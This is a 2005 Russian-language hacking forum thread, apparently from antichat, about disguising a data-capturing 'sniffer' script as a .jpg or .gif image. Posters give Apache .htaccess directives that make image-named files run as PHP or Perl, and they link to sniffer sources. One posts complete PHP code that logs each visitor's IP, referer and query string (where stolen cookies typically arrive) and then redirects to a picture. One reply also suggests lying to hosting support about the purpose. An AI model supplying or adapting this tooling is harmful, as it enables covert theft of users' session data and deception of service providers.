PDA

Просмотр полной версии : Как зделать Jpg сниффер???


GooF
25.05.2005, 17:46
Зделал сниффер он пашет (Ура ура ура) Но некоторые браузеры посут то что это сниффер и недают открыть его с расширением pl а когда я меняю расширение на сниффере с pl на jpg он перестаёт работать. Че делать?

KEZ
25.05.2005, 17:59
Браузеры сами по себе ничего пасти не могут - не коровы.

Grrl
26.05.2005, 00:13
Чтобы он работал с расширением jpg надо в .htaccess прописать
ForceType application/x-httpd-php а в снифе
header("Content-type: image/gif");
include("pic.jpg");
Или че-то такое на память не скажу точно.
Ищи по форуму,эта тема уже разжовывалась многократно.
А вообще не парься и юзай античатовский снифф,
Тебе меньше гемора будет.

PinkPanther
26.05.2005, 01:49
Чтобы он работал с расширением jpg надо в .htaccess прописать
ForceType application/x-httpd-php
Какой x-httpd-php, сниффер то ведь перловый.

З.Ы. Кстати у меня такая же проблема, люди что делать? Исходник античатовский: http://antichat.ru/sniff/source.php

PinkPanther
26.05.2005, 01:52
P.S. Algol,видиш, не у меня одного такие проблемы.

Grrl
26.05.2005, 02:14
PinkPanther, сорри ошиблась.Просто помоему на php проще сварганить снифф.
(для меня во всяком случаи)
Да и какой смысл изобретать велосипед,на античате видела исходник хорошего
снифа помоему тут находится http://dreamlife3d.com/pic/sn.rar

nerezus
26.05.2005, 09:51
P.S. Algol,видиш, не у меня одного такие проблемы.
Не у тебя одного, ты прав. Но у многих проблем нет. Отгадай, почему =)

100% рабочее

//будут еще темы про снифер в этом разделе - буду вырезать =]

PinkPanther
26.05.2005, 15:15
Не у тебя одного, ты прав. Но у многих проблем нет. Отгадай, почему =)

Почему??? Могов не хватает, подскажи....
Если перловый снифф работает, а помещенный рядом (тот же перловый но переименованный в картинку) нет, то Я хз.
Блин, если даже Алгол не знает, то Я обратился сюда, пускай может хоть люди посоветуют.

qBiN
26.05.2005, 15:41
гы...
Где ты видел картинки которые при просмотре выполняют код?
Таких нет!
Есть только скрипты которые замаскированы под картинку...
Кстате Grrl все подробно расписала...
Если не понял почитай хелп по миме типам в апаче...
RTFM

qBiN
26.05.2005, 15:44
Блин, если даже Алгол не знает...
Блин,Вы что ему покланяетесь что ли? =) Нет,я не говорю что чел ничего не знает и тп. Но ВСЁ НИКТО не может знать.
зы Algol радуйся,у тебя оказывается есть поклонники =)
ззы Алгол ты должен хотя бы афтографы высылать за wmz))

nerezus
26.05.2005, 15:52
AddHandler cgi-script sniffer.gif
можешь размещать тогда его в любой папке

nerezus
26.05.2005, 15:54
гы...
Где ты видел картинки которые при просмотре выполняют код?
Таких нет! см. мою подпись

они при просмотре выполняют код на сервере

PinkPanther
26.05.2005, 16:45
Блин,Вы что ему покланяетесь что ли? =)
....
зы Algol радуйся,у тебя оказывается есть поклонники =)

Я не позволю никому с меня смеятся, понял? Учти на будущее....
А Алгол тут при том, что снифф написал он, и Я у него консультировался. Вот и всё. На мой вопрос он ответа не знал.

З.Ы. Давай на этом закончим и больше не будем ссорится, ОК?

nerezus
26.05.2005, 16:51
AddHandler cgi-script sniffer.gif

Вот ответ, хотя есть еще много способов.

PinkPanther
26.05.2005, 17:04
Вот ответ, хотя есть еще много способов.
Не то....не работает всё равно...=( =( =(

(-=util=-)
26.05.2005, 17:07
ну что снифер нужен:? могу исходник на пхп выложить. или оставьте мыльники

nerezus
26.05.2005, 17:56
<?
// nerezus, 2005, GPL v2

// IF U WANNA USE .png(or .gif, .jpeg) EXT FOR THIS FILE, TYPE AddType application/x-httpd-php .png TO YOUR .htaccess

$log="log.txt";
$file = fopen ($log, "a+");
$qu=UrlDecode(getenv('QUERY_STRING'));
$ref=UrlDecode(getenv('HTTP_REFERER'));
$ip=getenv('REMOTE_ADDR');
$now = getdate();
$nowstring=$now['mday'].".".$now['mon'].".".$now['year']." ".$now['hours'].":".$now['minutes'].":".$now['seconds'];
$str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu\n";
fputs ($file, $str);
fclose($file);
header('Location: image.png');
?>

обратите анимание на IF U WANNA USE .png(or .gif, .jpeg) EXT FOR THIS FILE, TYPE AddType application/x-httpd-php .png TO YOUR .htaccess

PinkPanther
26.05.2005, 20:01
nerezus спасибо тебе за то что ты пытаешся мне помочь, но дело в том что снифф на PHP у меня есть, и работает он отменно(и в аксцессе у меня всё прописано, и в картинку переименован, и работает!!!). Но просто Я уже начал разбиратся с перловым скриптом, и мне очень интересно довести дело до конца. Именно он у меня и не работает. А с PHP сниффом всё ОК.

qBiN
26.05.2005, 20:41
см. мою подпись

они при просмотре выполняют код на сервереПеречитай мой пост.У тебя это явно не картинка,а скрипт который "маскируется" по картинку.
Я не позволю никому с меня смеятся, понял? Учти на будущее....
Да я кажись и не смеялся.Я просто заметил факт.Причем это не столько относилось к тебе,а к "новичкам"
З.Ы. Давай на этом закончим и больше не будем ссорится, ОК?
ок

nerezus
26.05.2005, 22:05
PinkPanther, кинь на мейл конфиг апача

PinkPanther
26.05.2005, 22:41
У меня хостинг а не ВДС, так что конфига мне не видать. =(
Для справки, хост на majordomo.ru (http://majordomo.ru/)

Elesar
28.05.2005, 16:04
Создаём файл ".htaccess" (если его ещё нет) и прописываем в него сторчку

AddType application/x-httpd-pl .jpg

Это должно решить все проблемы(Во всяком случае у меня всё прекрасно работает)

Зы если файл имеет расширение не pl, а например cgi то строка будет выглядеть так:
AddType application/x-httpd-cgi .jpg
А если картинка имеет другое расширение, например gif то строка будет выглядеть так :
AddType application/x-httpd-pl .gif

Зыы Надеюсь я все достаточно детально описал и вопросов больше на эту тему не будет

PinkPanther
28.05.2005, 17:35
Создаём файл ".htaccess" (если его ещё нет) и прописываем в него сторчку
AddType application/x-httpd-pl .jpg

Да делал Я уже такое, ещё давно, них не помагает. Не фурычет. =(

qBiN
29.05.2005, 12:12
ПРосто попроси суппорта разрешить тебе хтассессы...Если спросит зачем скажи типа хачу что бы в картинке ип показывался...Буду на форумах красоваться... Ну или что-то в этом роде...

nerezus
29.05.2005, 14:19
Если спросит зачемЕсли спросит зачем, надо сказать одно слово: "Надо".

PinkPanther
29.05.2005, 18:24
ПРосто попроси суппорта разрешить тебе хтассессы...Если спросит зачем скажи типа хачу что бы в картинке ип показывался
Аксцесс у меня разрешен, как я по твоему php снифф заставлял работать. Я же писал.
PHP снифф преобразованный в картинку работает, а вот CGI не хочет. Тем более, для скриптов находящихся в /cgi-bin/ , в аксцессе прописывать не надо.

Тут дело в чем то другом, а в чём, хз...

chin
02.06.2005, 11:06
гы...
Где ты видел картинки которые при просмотре выполняют код?
Таких нет!
Есть только скрипты которые замаскированы под картинку...
Кхм.. Это скрипт, (такой же, как и все остальные скрипты) который после выполнения возвращает картинку.
Что-то почитал сорс этого перловского скрипта на http://antichat.ru/sniff/source.php
он что, внатуре работает?
Мой совет:
1. Юзайте античатовский
2. Качайте PHP-шный ( http://forum.antichat.ru/showthread.php?t=5568 )
3. Пишите свой